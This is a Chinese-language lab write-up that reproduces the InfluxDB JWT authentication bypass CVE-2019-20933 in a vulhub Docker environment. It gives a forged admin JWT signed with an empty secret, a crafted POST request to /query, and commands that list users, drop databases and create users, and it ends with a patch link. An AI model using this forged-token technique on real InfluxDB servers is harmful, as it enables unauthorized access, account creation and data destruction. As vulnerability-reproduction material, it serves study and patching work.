InfluxDB JWT未授权漏洞(CVE-2019-20933)复现
0x00 漏洞简介
InfluxDB是一款时序数据库,其使用JWT作为鉴权方式。
在其1.7.6版本以前,默认设置JWT的认证密钥shared-secret为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。
漏洞原理是1.7.6之前的InfluxDB在services/httpd/handler.go中的身份验证函数中存在身份验证绕过漏洞,因为JWT令牌可能具有空的共享密钥(也被称为共享密钥)。
0x01 环境启动
cd /root/vulhub-master/influxdb/CVE-2019-20933/
docker-compose build
docker-compose up -d
0x02 漏洞复现
访问htp://IP:8086/query 查询功能有提示需要登录
抓包发现响应头带有X-Influxdb-Version标志头
访问htp://IP:8086/debug/vars 查看系统的服务信息
通过https://jwt.io/#debugger-io 构造绕过身份验证所需的Token:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 4072615314
}
其中,username代表已存在的用户,exp是时间戳,代表该Token的过期时间,所以需要生成一个未来的时间戳(www.beijing-time.org/shijianchuo/),将secret值置空,得到编码后的Token:
抓取/query页面的数据包,将请求方式修改为POST,添加以下请求字段:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo0MDcyNjE1MzE0fQ.mwI2P1j8CIvhxBKFvcyU7TNLBeuFtiUM1mPrKanF1w4
Content-Type: application/x-www-form-urlencoded
相关操作命令如下:
show databases #显示数据库
show measurements #显示当前数据库中的数据表
show users #显示用户
create database aaa #创建aaa数据库
drop database aaa #删除aaa数据库
show field keys #显示当前数据中的表的字段
create user aaa with password 'aaa' #创建aaa:aaa 数据库用户
0x03 修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0